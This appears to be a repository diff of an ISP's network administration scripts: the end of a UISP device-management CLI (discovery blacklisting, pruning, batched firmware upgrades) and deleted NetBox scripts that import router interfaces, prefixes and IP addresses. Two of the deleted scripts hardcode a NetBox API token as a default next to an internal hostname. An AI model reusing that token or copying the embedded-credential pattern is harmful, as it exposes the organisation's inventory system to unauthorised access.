"allowAutoUpdateUbntFirmwares", "allowBetaFirmwares", "allowLoggingToLogentries",
|
||||
"allowLoggingToSentry", "allowNewFirmware", "autoUpdatePlatforms", "country",
|
||||
"dateFormat", "defaultGracePeriod", "defaultQosPropagation", "devicePingAddress",
|
||||
"devicePingAddressMode", "devicePingIntervalNormal", "devicePingIntervalOutage",
|
||||
"deviceTransmissionFrequencies", "deviceTransmissionProfile", "deviceUpdateNotification",
|
||||
"discoveryAllowLocalScan", "discoveryAllowRemoteScan", "discoveryAllowUnsecuredChannels",
|
||||
"discoveryAutoConfiguration", "discoveryBlacklist", "discoveryHideBlackBox",
|
||||
"discoveryNotification", "discoverySnmpCommunity", "googleMapsApiKey", "homePage",
|
||||
"hostname", "isOnuDisabledOnSubscriberSuspend", "maintenanceWindowFriday",
|
||||
"maintenanceWindowFromTime", "maintenanceWindowMonday", "maintenanceWindowSaturday",
|
||||
"maintenanceWindowSunday", "maintenanceWindowThursday", "maintenanceWindowToTime",
|
||||
"maintenanceWindowTuesday", "maintenanceWindowWednesday", "mapsProvider",
|
||||
"migrationForceModeEnabled", "migrationWithBackupEnabled", "migrationUispKey",
|
||||
"migrationHostname", "migrationModeEnabled", "migrationPort", "outageMailablePeriod",
|
||||
"parallelUpgradeLimit", "restartGracePeriod", "tableDensity", "timeFormat",
|
||||
"timezone", "trafficShapingAdjustment", "upgradeGracePeriod", "useLetsEncrypt",
|
||||
}
|
||||
|
||||
|
||||
def put_nms_settings(updates: dict) -> None:
|
||||
"""GET current settings, merge updates, filter to PUT-allowed fields, PUT."""
|
||||
current = api("GET", "/nms/settings") or {}
|
||||
merged = {**current, **updates}
|
||||
body = {k: v for k, v in merged.items() if k in SETTINGS_PUT_ALLOWED}
|
||||
api("PUT", "/nms/settings", body)
|
||||
|
||||
|
||||
def cmd_ignore(args: argparse.Namespace) -> None:
|
||||
"""Add IPs of model=UNKNOWN devices to UISP's discoveryBlacklist so they
|
||||
stop reappearing, then delete the stub records."""
|
||||
# Pull from both /devices/discovered (pending) and /devices (adopted but
|
||||
# blackBox) since the SNMP-stub population shows up in both lists.
|
||||
discovered = api("GET", "/devices/discovered") or []
|
||||
fleet = api("GET", "/devices?withInterfaces=false") or []
|
||||
pool = []
|
||||
for d in discovered + fleet:
|
||||
ident = d.get("identification") or {}
|
||||
if ident.get("model") in ("", None, "UNKNOWN") or ident.get("type") == "blackBox":
|
||||
pool.append(d)
|
||||
# Dedupe by id (a device can appear in both lists).
|
||||
seen_ids: set[str] = set()
|
||||
targets = []
|
||||
for d in pool:
|
||||
did = (d.get("identification") or {}).get("id")
|
||||
if did and did not in seen_ids:
|
||||
seen_ids.add(did)
|
||||
targets.append(d)
|
||||
|
||||
ip_set: dict[str, dict] = {} # ip -> first device that has it
|
||||
no_ip = []
|
||||
for d in targets:
|
||||
ip = d.get("ipAddress") or ""
|
||||
ip = ip.split("/")[0].strip()
|
||||
if ip:
|
||||
ip_set.setdefault(ip, d)
|
||||
else:
|
||||
no_ip.append(d)
|
||||
|
||||
if not ip_set and not no_ip:
|
||||
print("no UNKNOWN/blackBox devices found.")
|
||||
return
|
||||
|
||||
settings = api("GET", "/nms/settings")
|
||||
current_bl = settings.get("discoveryBlacklist") or []
|
||||
if isinstance(current_bl, str):
|
||||
current_bl = [x.strip() for x in current_bl.split(",") if x.strip()]
|
||||
current_set = set(current_bl)
|
||||
new_ips = sorted(ip for ip in ip_set if ip not in current_set)
|
||||
|
||||
print(f"found {len(targets)} UNKNOWN/blackBox device(s) "
|
||||
f"({len(ip_set)} unique IP(s), {len(no_ip)} without IP)")
|
||||
print(f"already blacklisted: {len(current_set)}")
|
||||
print(f"new IPs to blacklist: {len(new_ips)}")
|
||||
if new_ips and args.verbose:
|
||||
for ip in new_ips:
|
||||
d = ip_set[ip]
|
||||
ident = d["identification"]
|
||||
print(f" {ip:<16} {ident.get('hostname') or ident.get('name') or '?'}")
|
||||
|
||||
if args.dry_run:
|
||||
print(f"\ndry-run: would add {len(new_ips)} IP(s) to discoveryBlacklist "
|
||||
f"and delete {len(targets)} stub record(s).")
|
||||
return
|
||||
|
||||
if new_ips:
|
||||
merged = sorted(current_set | set(new_ips))
|
||||
put_nms_settings({"discoveryBlacklist": merged})
|
||||
print(f"blacklist updated: {len(current_set)} → {len(merged)} entries")
|
||||
|
||||
if targets:
|
||||
ids = [d["identification"]["id"] for d in targets]
|
||||
# bulkdelete handles batches comfortably; UISP returns 200 with no body.
|
||||
api("POST", "/devices/bulkdelete", {"ids": ids})
|
||||
print(f"deleted {len(ids)} stub record(s).")
|
||||
|
||||
|
||||
def cmd_upgrade(args: argparse.Namespace) -> None:
|
||||
devs = api("GET", "/devices?withInterfaces=false") or []
|
||||
fws = api("GET", "/firmwares") or []
|
||||
by_id = {d["identification"]["id"]: d for d in devs}
|
||||
|
||||
targets = []
|
||||
if args.all:
|
||||
for d in devs:
|
||||
if needs_upgrade(d, fws):
|
||||
targets.append(d)
|
||||
else:
|
||||
if not args.ids:
|
||||
die("usage: uisp upgrade <id>... | --all")
|
||||
for did in args.ids:
|
||||
d = by_id.get(did)
|
||||
if not d:
|
||||
print(f"skip {did}: not found", file=sys.stderr)
|
||||
continue
|
||||
if not needs_upgrade(d, fws) and not args.force:
|
||||
ident = d["identification"]
|
||||
cur = ident.get("firmwareVersion") or "?"
|
||||
latest = latest_firmware_for(fws, d) or "?"
|
||||
print(f"skip {did} ({disp_name(d)}): already on {cur} (latest {latest}) — pass --force to override",
|
||||
file=sys.stderr)
|
||||
continue
|
||||
targets.append(d)
|
||||
|
||||
if not targets:
|
||||
print("no devices need upgrade.")
|
||||
return
|
||||
|
||||
print(f"upgrade plan ({len(targets)} device(s)):")
|
||||
for d in targets:
|
||||
ident = d["identification"]
|
||||
cur = ident.get("firmwareVersion") or "?"
|
||||
latest = latest_firmware_for(fws, d) or "?"
|
||||
print(f" {ident['id']} {disp_name(d):<30} {cur} → {latest}")
|
||||
|
||||
if not args.yes:
|
||||
print(f"\ndry-run: pass --yes to actually trigger upgrades.")
|
||||
return
|
||||
|
||||
batch_size = max(1, args.batch_size)
|
||||
n_batches = (len(targets) + batch_size - 1) // batch_size
|
||||
failed_total = 0
|
||||
|
||||
for batch_idx in range(n_batches):
|
||||
batch = targets[batch_idx * batch_size:(batch_idx + 1) * batch_size]
|
||||
print(f"\n=== batch {batch_idx + 1}/{n_batches}: {len(batch)} device(s) ===")
|
||||
|
||||
# Build the upgrades payload and POST one task per device. UISP's
|
||||
# actual upgrade endpoint is POST /tasks with
|
||||
# {upgrades: [{deviceId, firmwareVersion}], upgradeInMaintenanceWindow}.
|
||||
# /devices/{id}/update only refreshes device data — it does NOT
|
||||
# trigger a firmware upgrade.
|
||||
triggered: list[tuple[str, str, str]] = [] # (id, name, target_version)
|
||||
upgrades = []
|
||||
for d in batch:
|
||||
did = d["identification"]["id"]
|
||||
target_v = latest_firmware_for(fws, d)
|
||||
if not target_v:
|
||||
print(f" skip {did} {disp_name(d)}: no catalog firmware match", file=sys.stderr)
|
||||
failed_total += 1
|
||||
continue
|
||||
upgrades.append({
|
||||
"deviceId": did,
|
||||
"firmwareVersion": target_v,
|
||||
})
|
||||
triggered.append((did, disp_name(d), target_v))
|
||||
|
||||
if upgrades:
|
||||
try:
|
||||
api("POST", "/tasks", {
|
||||
"upgrades": upgrades,
|
||||
"upgradeInMaintenanceWindow": False,
|
||||
})
|
||||
for did, name, tv in triggered:
|
||||
print(f" trigger OK {did} {name:<30} → {tv}")
|
||||
except SystemExit:
|
||||
print(f" batch trigger FAILED for {len(upgrades)} device(s)", file=sys.stderr)
|
||||
failed_total += len(upgrades)
|
||||
triggered = []
|
||||
|
||||
if not args.wait:
|
||||
# No completion wait — just space batches out so we don't blast
|
||||
# the whole fleet simultaneously.
|
||||
if batch_idx + 1 < n_batches:
|
||||
print(f" sleeping {args.batch_delay}s before next batch...")
|
||||
time.sleep(args.batch_delay)
|
||||
continue
|
||||
|
||||
# Wait for every device in this batch to land on its target version.
|
||||
deadline = time.time() + args.wait_timeout
|
||||
pending = {did: (name, tv) for did, name, tv in triggered}
|
||||
while pending and time.time() < deadline:
|
||||
time.sleep(20)
|
||||
current = api("GET", "/devices?withInterfaces=false") or []
|
||||
cur_by_id = {x["identification"]["id"]: x for x in current}
|
||||
for did in list(pending.keys()):
|
||||
name, tv = pending[did]
|
||||
d = cur_by_id.get(did)
|
||||
if not d:
|
||||
continue
|
||||
cur = d["identification"].get("firmwareVersion") or ""
|
||||
if cur and tv != "?" and not version_lt(cur, tv):
|
||||
print(f" done {did} {name:<30} on {cur}")
|
||||
del pending[did]
|
||||
if pending:
|
||||
print(f" ...waiting on {len(pending)} device(s) "
|
||||
f"({int(deadline - time.time())}s left)")
|
||||
|
||||
if pending:
|
||||
print(f" batch timeout: {len(pending)} device(s) didn't finish in {args.wait_timeout}s; "
|
||||
f"continuing anyway")
|
||||
for did, (name, tv) in pending.items():
|
||||
print(f" still pending {did} {name} → {tv}")
|
||||
failed_total += 1
|
||||
|
||||
if failed_total:
|
||||
print(f"\n{failed_total} device(s) had problems (failed trigger or didn't complete in time).")
|
||||
else:
|
||||
print(f"\nall {len(targets)} device(s) processed.")
|
||||
|
||||
|
||||
# ---------- argparse wiring ----------
|
||||
|
||||
def main() -> None:
|
||||
p = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
|
||||
sub = p.add_subparsers(dest="cmd", required=True)
|
||||
|
||||
pl = sub.add_parser("list", help="list devices")
|
||||
pl.add_argument("--unauthorized", action="store_true", help="show only pending-adoption devices")
|
||||
pl.add_argument("--upgradable", action="store_true", help="show only devices with a firmware update")
|
||||
pl.add_argument("--json", action="store_true", help="emit parsed JSON")
|
||||
pl.add_argument("--raw", action="store_true", help="dump raw API JSON (debug)")
|
||||
pl.add_argument("--include-unknown", action="store_true",
|
||||
help="include model=UNKNOWN devices in --unauthorized output (hidden by default)")
|
||||
pl.set_defaults(func=cmd_list)
|
||||
|
||||
pa = sub.add_parser("approve", help="adopt pending-adoption devices")
|
||||
pa.add_argument("ids", nargs="*", help="device IDs to adopt")
|
||||
pa.add_argument("--all", action="store_true", help="adopt every pending-adoption device")
|
||||
pa.add_argument("--site", default="vntx", help="site name to assign adopted devices to (empty = skip)")
|
||||
pa.add_argument("--port", type=int, default=443, help="HTTPS port UISP uses to reach the device")
|
||||
pa.add_argument("--poll-timeout", type=int, default=60, help="seconds to wait for each cred attempt to settle")
|
||||
pa.add_argument("--dry-run", action="store_true")
|
||||
pa.add_argument("--include-unknown", action="store_true",
|
||||
help="also try to adopt devices with model=UNKNOWN (SNMP stubs; almost never adoptable)")
|
||||
pa.set_defaults(func=cmd_approve)
|
||||
|
||||
pi = sub.add_parser("ignore",
|
||||
help="blacklist IPs of UNKNOWN/blackBox devices and delete the stubs so they stop coming back")
|
||||
pi.add_argument("--dry-run", action="store_true")
|
||||
pi.add_argument("--verbose", "-v", action="store_true", help="list every IP being added")
|
||||
pi.set_defaults(func=cmd_ignore)
|
||||
|
||||
pp = sub.add_parser("prune", help="delete devices offline longer than N days")
|
||||
pp.add_argument("--days", type=float, default=1.0, help="offline threshold in days (default: 1)")
|
||||
pp.add_argument("--yes", action="store_true", help="actually delete (default: dry-run)")
|
||||
pp.add_argument("--include-infra", action="store_true",
|
||||
help="also prune routers/switches/OLTs (default: skipped)")
|
||||
pp.add_argument("--skip-never-seen", action="store_true",
|
||||
help="exclude devices with no lastSeen timestamp (SNMP stubs that never adopted)")
|
||||
pp.add_argument("--verbose", "-v", action="store_true", help="list every device, not just summary")
|
||||
pp.set_defaults(func=cmd_prune)
|
||||
|
||||
pu = sub.add_parser("upgrade", help="upgrade firmware")
|
||||
pu.add_argument("ids", nargs="*", help="device IDs to upgrade")
|
||||
pu.add_argument("--all", action="store_true", help="upgrade every device with a newer firmware available")
|
||||
pu.add_argument("--yes", action="store_true", help="actually trigger upgrades (default: dry-run)")
|
||||
pu.add_argument("--force", action="store_true", help="upgrade even if already on latest")
|
||||
pu.add_argument("--batch-size", type=int, default=5,
|
||||
help="how many devices to upgrade in parallel per batch (default: 5)")
|
||||
pu.add_argument("--wait", action="store_true",
|
||||
help="wait for each batch to land on the new firmware before starting the next")
|
||||
pu.add_argument("--wait-timeout", type=int, default=900,
|
||||
help="seconds to wait per batch when --wait is set (default: 900)")
|
||||
pu.add_argument("--batch-delay", type=int, default=30,
|
||||
help="seconds to sleep between batches when --wait is NOT set (default: 30)")
|
||||
pu.set_defaults(func=cmd_upgrade)
|
||||
|
||||
args = p.parse_args()
|
||||
args.func(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,104 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
from urllib.parse import urljoin
|
||||
|
||||
# Get API token
|
||||
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||
|
||||
# NetBox API setup
|
||||
base_url = 'https://netbox.vntx.net/'
|
||||
api_url = urljoin(base_url, 'api/')
|
||||
headers = {
|
||||
'Authorization': f'Token {api_token}',
|
||||
'Content-Type': 'application/json',
|
||||
'Accept': 'application/json'
|
||||
}
|
||||
|
||||
print("=== Updating 380 Edge Router in NetBox ===\n")
|
||||
|
||||
# Edge router specific data
|
||||
edge_device_id = 9
|
||||
site_id = 8
|
||||
|
||||
# Update primary IP assignment for edge router
|
||||
print("Assigning primary IP to edge router...")
|
||||
try:
|
||||
# First create interface on edge router
|
||||
interface_data = {
|
||||
'device': edge_device_id,
|
||||
'name': 'loopback',
|
||||
'type': 'virtual',
|
||||
'enabled': True
|
||||
}
|
||||
response = requests.post(f"{api_url}dcim/interfaces/", headers=headers, json=interface_data)
|
||||
if response.status_code == 201:
|
||||
interface_id = response.json()['id']
|
||||
print(f"✓ Created loopback interface (ID: {interface_id})")
|
||||
|
||||
# Assign IP to interface
|
||||
ip_update = {
|
||||
'assigned_object_type': 'dcim.interface',
|
||||
'assigned_object_id': interface_id
|
||||
}
|
||||
# Find the IP
|
||||
ip_response = requests.get(f"{api_url}ipam/ip-addresses/",
|
||||
headers=headers,
|
||||
params={'address': '10.254.254.254/32'})
|
||||
if ip_response.json()['count'] > 0:
|
||||
ip_id = ip_response.json()['results'][0]['id']
|
||||
patch_response = requests.patch(f"{api_url}ipam/ip-addresses/{ip_id}/",
|
||||
headers=headers,
|
||||
json=ip_update)
|
||||
if patch_response.status_code == 200:
|
||||
print("✓ Assigned IP to loopback interface")
|
||||
|
||||
# Set as primary IP for device
|
||||
device_update = {'primary_ip4': ip_id}
|
||||
device_response = requests.patch(f"{api_url}dcim/devices/{edge_device_id}/",
|
||||
headers=headers,
|
||||
json=device_update)
|
||||
if device_response.status_code == 200:
|
||||
print("✓ Set as primary IP for edge router")
|
||||
except Exception as e:
|
||||
print(f"Error: {e}")
|
||||
|
||||
# Create interfaces for edge router
|
||||
print("\n=== Creating Edge Router Interfaces ===")
|
||||
interfaces = [
|
||||
'sfp-sfpplus7-core-direct',
|
||||
'sfp-sfpplus8-server-switch',
|
||||
'sfp-sfpplus11-preseem',
|
||||
'sfp-sfpplus12-spectrum',
|
||||
'cgnat',
|
||||
'vlan9_sfpplus8'
|
||||
]
|
||||
|
||||
for interface in interfaces:
|
||||
# Check if already exists
|
||||
check = requests.get(f"{api_url}dcim/interfaces/",
|
||||
headers=headers,
|
||||
params={'device_id': edge_device_id, 'name': interface})
|
||||
|
||||
if check.json()['count'] == 0:
|
||||
if 'vlan' in interface or interface == 'cgnat':
|
||||
itype = 'virtual'
|
||||
else:
|
||||
itype = '10gbase-x-sfpp' # SFP+ interfaces
|
||||
|
||||
interface_data = {
|
||||
'device': edge_device_id,
|
||||
'name': interface,
|
||||
'type': itype,
|
||||
'enabled': True
|
||||
}
|
||||
|
||||
response = requests.post(f"{api_url}dcim/interfaces/", headers=headers, json=interface_data)
|
||||
if response.status_code == 201:
|
||||
print(f"✓ Created interface: {interface}")
|
||||
else:
|
||||
print(f"✗ Failed to create interface: {interface}")
|
||||
|
||||
print("\n✓ Edge router update complete!")
|
||||
|
|
@ -1,369 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import argparse
|
||||
import requests
|
||||
from urllib.parse import urljoin
|
||||
|
||||
class NetBoxUpdater:
|
||||
def __init__(self, url, token):
|
||||
self.base_url = url.rstrip('/')
|
||||
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||
self.headers = {
|
||||
'Authorization': f'Token {token}',
|
||||
'Content-Type': 'application/json',
|
||||
'Accept': 'application/json'
|
||||
}
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update(self.headers)
|
||||
|
||||
def post(self, endpoint, data):
|
||||
"""Make POST request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.post(url, json=data)
|
||||
if response.status_code not in [200, 201]:
|
||||
print(f"Error creating {endpoint}: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def patch(self, endpoint, data):
|
||||
"""Make PATCH request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.patch(url, json=data)
|
||||
if response.status_code not in [200, 201]:
|
||||
print(f"Error updating {endpoint}: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def get(self, endpoint, params=None):
|
||||
"""Make GET request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.get(url, params=params)
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def get_or_create_role(self, name, slug=None):
|
||||
"""Get or create an IPAM role"""
|
||||
if not slug:
|
||||
slug = name.lower().replace(' ', '-')
|
||||
|
||||
response = self.get('ipam/roles/', params={'slug': slug})
|
||||
if response['count'] > 0:
|
||||
return response['results'][0]['id']
|
||||
|
||||
# Create role
|
||||
role_data = {
|
||||
'name': name,
|
||||
'slug': slug
|
||||
}
|
||||
created = self.post('ipam/roles/', role_data)
|
||||
return created['id']
|
||||
|
||||
|
||||
def determine_prefix_role(interface, description=''):
|
||||
"""Determine the role of a prefix based on interface name and description"""
|
||||
interface_lower = str(interface).lower()
|
||||
|
||||
# Infrastructure links
|
||||
if any(term in interface_lower for term in ['airfiber', '11ghz', '24ghz', 'backhaul', 'ether3', 'ether4', 'ether5', 'ether6']):
|
||||
return 'infrastructure'
|
||||
|
||||
# Loopback
|
||||
if 'loopback' in interface_lower or interface == 'lo':
|
||||
return 'loopback'
|
||||
|
||||
# Management
|
||||
if any(term in interface_lower for term in ['mgmt', 'management', 'ether1']):
|
||||
return 'management'
|
||||
|
||||
# Customer bridges
|
||||
if 'bridge' in interface_lower or 'pppoe' in interface_lower:
|
||||
return 'customer'
|
||||
|
||||
# VLANs are often customer-facing
|
||||
if 'vlan' in interface_lower:
|
||||
return 'customer'
|
||||
|
||||
return 'infrastructure' # Default
|
||||
|
||||
|
||||
def process_router_data(json_file, site_name, dry_run=False):
|
||||
"""Process router data JSON and update NetBox"""
|
||||
|
||||
# Load router data
|
||||
with open(json_file, 'r') as f:
|
||||
router_data = json.load(f)
|
||||
|
||||
# Get API token
|
||||
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||
nb = NetBoxUpdater('https://netbox.vntx.net/', api_token)
|
||||
|
||||
print(f"=== Processing Router Data for {site_name} ===\n")
|
||||
|
||||
# Get site ID
|
||||
site_response = nb.get('dcim/sites/', params={'name': site_name})
|
||||
if site_response['count'] == 0:
|
||||
print(f"Error: Site '{site_name}' not found in NetBox")
|
||||
print(f"Please create the site first using: python3 create_site_and_router.py {site_name} {router_data['host']}")
|
||||
return False
|
||||
|
||||
site_id = site_response['results'][0]['id']
|
||||
print(f"Found site: {site_name} (ID: {site_id})")
|
||||
|
||||
# Get device
|
||||
device_response = nb.get('dcim/devices/', params={'site_id': site_id})
|
||||
if device_response['count'] == 0:
|
||||
print(f"Error: No device found for site '{site_name}'")
|
||||
return False
|
||||
|
||||
device = device_response['results'][0]
|
||||
device_id = device['id']
|
||||
device_name = device['name']
|
||||
print(f"Found device: {device_name} (ID: {device_id})\n")
|
||||
|
||||
# Get or create roles
|
||||
role_mapping = {
|
||||
'infrastructure': 'Infrastructure',
|
||||
'loopback': 'Loopback',
|
||||
'customer': 'Customer',
|
||||
'management': 'Management'
|
||||
}
|
||||
|
||||
if not dry_run:
|
||||
print("Setting up IPAM roles...")
|
||||
role_ids = {}
|
||||
for key, name in role_mapping.items():
|
||||
role_ids[key] = nb.get_or_create_role(name, key)
|
||||
print(f" ✓ {name}")
|
||||
print()
|
||||
|
||||
# Process subnets (non-dynamic only)
|
||||
static_subnets = [s for s in router_data['subnets'] if not s.get('dynamic', False)]
|
||||
|
||||
print(f"=== Processing {len(static_subnets)} Static Subnets ===")
|
||||
|
||||
prefixes_to_create = []
|
||||
ips_to_create = []
|
||||
|
||||
for subnet in static_subnets:
|
||||
address = subnet['address']
|
||||
network = subnet['network']
|
||||
interface = subnet['interface']
|
||||
comment = subnet.get('comment', '')
|
||||
|
||||
# Skip PPPoE dynamic IPs
|
||||
if str(interface).startswith('<pppoe-'):
|
||||
continue
|
||||
|
||||
# Determine if it's a host IP or a subnet
|
||||
if address.endswith('/32'):
|
||||
# It's a host IP
|
||||
role = determine_prefix_role(interface, comment)
|
||||
ips_to_create.append({
|
||||
'address': address,
|
||||
'interface': interface,
|
||||
'description': comment or f"{device_name} - {interface}",
|
||||
'role': role
|
||||
})
|
||||
else:
|
||||
# It's a subnet
|
||||
prefix_bits = address.split('/')[-1]
|
||||
prefix = f"{network}/{prefix_bits}"
|
||||
role = determine_prefix_role(interface, comment)
|
||||
|
||||
prefixes_to_create.append({
|
||||
'prefix': prefix,
|
||||
'interface': interface,
|
||||
'description': comment or f"{site_name} - {interface}",
|
||||
'role': role,
|
||||
'gateway_ip': address
|
||||
})
|
||||
|
||||
if dry_run:
|
||||
print("\n=== DRY RUN - Would create the following: ===\n")
|
||||
|
||||
print(f"Prefixes ({len(prefixes_to_create)}):")
|
||||
for p in prefixes_to_create:
|
||||
print(f" - {p['prefix']} ({p['role']}) - {p['description']}")
|
||||
|
||||
print(f"\nIP Addresses ({len(ips_to_create)}):")
|
||||
for ip in ips_to_create:
|
||||
print(f" - {ip['address']} ({ip['role']}) - {ip['description']}")
|
||||
|
||||
return True
|
||||
|
||||
# Create prefixes
|
||||
print(f"\n=== Creating/Updating {len(prefixes_to_create)} Prefixes ===")
|
||||
created_prefixes = 0
|
||||
failed_prefixes = 0
|
||||
|
||||
for item in prefixes_to_create:
|
||||
# Check if prefix already exists
|
||||
prefix_response = nb.get('ipam/prefixes/', params={'prefix': item['prefix']})
|
||||
|
||||
prefix_data = {
|
||||
'prefix': item['prefix'],
|
||||
'site': site_id,
|
||||
'status': 'active',
|
||||
'description': item['description'],
|
||||
'is_pool': False
|
||||
}
|
||||
|
||||
if role_ids.get(item['role']):
|
||||
prefix_data['role'] = role_ids[item['role']]
|
||||
|
||||
try:
|
||||
if prefix_response['count'] == 0:
|
||||
# Create new prefix
|
||||
created_prefix = nb.post('ipam/prefixes/', prefix_data)
|
||||
print(f"✓ Created prefix: {item['prefix']} - {item['description']}")
|
||||
created_prefixes += 1
|
||||
else:
|
||||
# Update existing prefix
|
||||
existing_id = prefix_response['results'][0]['id']
|
||||
updated_prefix = nb.patch(f'ipam/prefixes/{existing_id}/', prefix_data)
|
||||
print(f"✓ Updated prefix: {item['prefix']} - {item['description']}")
|
||||
created_prefixes += 1
|
||||
|
||||
# Create gateway IP if needed
|
||||
if item.get('gateway_ip'):
|
||||
gw_response = nb.get('ipam/ip-addresses/', params={'address': item['gateway_ip']})
|
||||
if gw_response['count'] == 0:
|
||||
gw_data = {
|
||||
'address': item['gateway_ip'],
|
||||
'status': 'active',
|
||||
'description': f"{item['interface']} gateway - {item['description']}",
|
||||
'role': 'anycast' if item['role'] == 'infrastructure' else None
|
||||
}
|
||||
try:
|
||||
nb.post('ipam/ip-addresses/', gw_data)
|
||||
print(f" ✓ Created gateway IP: {item['gateway_ip']}")
|
||||
except:
|
||||
pass
|
||||
|
||||
except Exception as e:
|
||||
print(f"✗ Failed to create/update prefix {item['prefix']}: {e}")
|
||||
failed_prefixes += 1
|
||||
|
||||
print(f"\nPrefix Summary: {created_prefixes} successful, {failed_prefixes} failed")
|
||||
|
||||
# Create IP addresses
|
||||
print(f"\n=== Creating/Updating {len(ips_to_create)} IP Addresses ===")
|
||||
created_ips = 0
|
||||
failed_ips = 0
|
||||
|
||||
for item in ips_to_create:
|
||||
# Check if IP already exists
|
||||
ip_response = nb.get('ipam/ip-addresses/', params={'address': item['address']})
|
||||
|
||||
ip_data = {
|
||||
'address': item['address'],
|
||||
'status': 'active',
|
||||
'description': item['description']
|
||||
}
|
||||
|
||||
if item['role'] == 'loopback':
|
||||
ip_data['role'] = 'loopback'
|
||||
|
||||
try:
|
||||
if ip_response['count'] == 0:
|
||||
# Create new IP
|
||||
created_ip = nb.post('ipam/ip-addresses/', ip_data)
|
||||
print(f"✓ Created IP: {item['address']} - {item['description']}")
|
||||
created_ips += 1
|
||||
else:
|
||||
# Update existing IP
|
||||
existing_id = ip_response['results'][0]['id']
|
||||
updated_ip = nb.patch(f'ipam/ip-addresses/{existing_id}/', ip_data)
|
||||
print(f"✓ Updated IP: {item['address']} - {item['description']}")
|
||||
created_ips += 1
|
||||
|
||||
except Exception as e:
|
||||
print(f"✗ Failed to create/update IP {item['address']}: {e}")
|
||||
failed_ips += 1
|
||||
|
||||
print(f"\nIP Summary: {created_ips} successful, {failed_ips} failed")
|
||||
|
||||
# Create interfaces on the device
|
||||
print(f"\n=== Creating Device Interfaces ===")
|
||||
created_interfaces = 0
|
||||
|
||||
# Get unique interfaces from both subnets and active interfaces
|
||||
interface_set = set()
|
||||
for subnet in static_subnets:
|
||||
if not str(subnet['interface']).startswith('<'):
|
||||
interface_set.add(str(subnet['interface']))
|
||||
|
||||
for iface in router_data.get('interfaces', []):
|
||||
if not str(iface['name']).startswith('<'):
|
||||
interface_set.add(str(iface['name']))
|
||||
|
||||
for interface_name in sorted(interface_set):
|
||||
# Check if interface exists
|
||||
interface_response = nb.get('dcim/interfaces/', params={
|
||||
'device_id': device_id,
|
||||
'name': interface_name
|
||||
})
|
||||
|
||||
if interface_response['count'] == 0:
|
||||
# Determine interface type
|
||||
if 'vlan' in interface_name.lower():
|
||||
iface_type = 'virtual'
|
||||
elif 'bridge' in interface_name.lower():
|
||||
iface_type = 'bridge'
|
||||
elif 'loopback' in interface_name.lower() or interface_name == 'lo':
|
||||
iface_type = 'virtual'
|
||||
else:
|
||||
iface_type = '1000base-t' # Default to gigabit ethernet
|
||||
|
||||
interface_data = {
|
||||
'device': device_id,
|
||||
'name': interface_name,
|
||||
'type': iface_type,
|
||||
'enabled': True
|
||||
}
|
||||
|
||||
try:
|
||||
created_interface = nb.post('dcim/interfaces/', interface_data)
|
||||
print(f"✓ Created interface: {interface_name} ({iface_type})")
|
||||
created_interfaces += 1
|
||||
except Exception as e:
|
||||
print(f"✗ Failed to create interface {interface_name}: {e}")
|
||||
|
||||
print(f"\nCreated {created_interfaces} new interfaces")
|
||||
|
||||
print(f"\n=== Update Complete ===")
|
||||
print(f"Site: {site_name}")
|
||||
print(f"Device: {device_name}")
|
||||
print(f"Prefixes: {created_prefixes}/{len(prefixes_to_create)}")
|
||||
print(f"IPs: {created_ips}/{len(ips_to_create)}")
|
||||
print(f"Interfaces: {created_interfaces}")
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Update NetBox with router data from JSON file')
|
||||
parser.add_argument('json_file', help='Path to router data JSON file')
|
||||
parser.add_argument('site_name', help='Name of the site in NetBox')
|
||||
parser.add_argument('--dry-run', action='store_true', help='Show what would be created without making changes')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Check if file exists
|
||||
if not os.path.exists(args.json_file):
|
||||
print(f"Error: File '{args.json_file}' not found")
|
||||
return 1
|
||||
|
||||
# Process the data
|
||||
success = process_router_data(args.json_file, args.site_name, args.dry_run)
|
||||
|
||||
return 0 if success else 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
|
|
@ -1,298 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import json
|
||||
from urllib.parse import urljoin
|
||||
|
||||
class NetBoxUpdater:
|
||||
def __init__(self, url, token):
|
||||
self.base_url = url.rstrip('/')
|
||||
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||
self.headers = {
|
||||
'Authorization': f'Token {token}',
|
||||
'Content-Type': 'application/json',
|
||||
'Accept': 'application/json'
|
||||
}
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update(self.headers)
|
||||
|
||||
def post(self, endpoint, data):
|
||||
"""Make POST request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.post(url, json=data)
|
||||
if response.status_code not in [200, 201]:
|
||||
print(f"Error creating {endpoint}: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def patch(self, endpoint, data):
|
||||
"""Make PATCH request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.patch(url, json=data)
|
||||
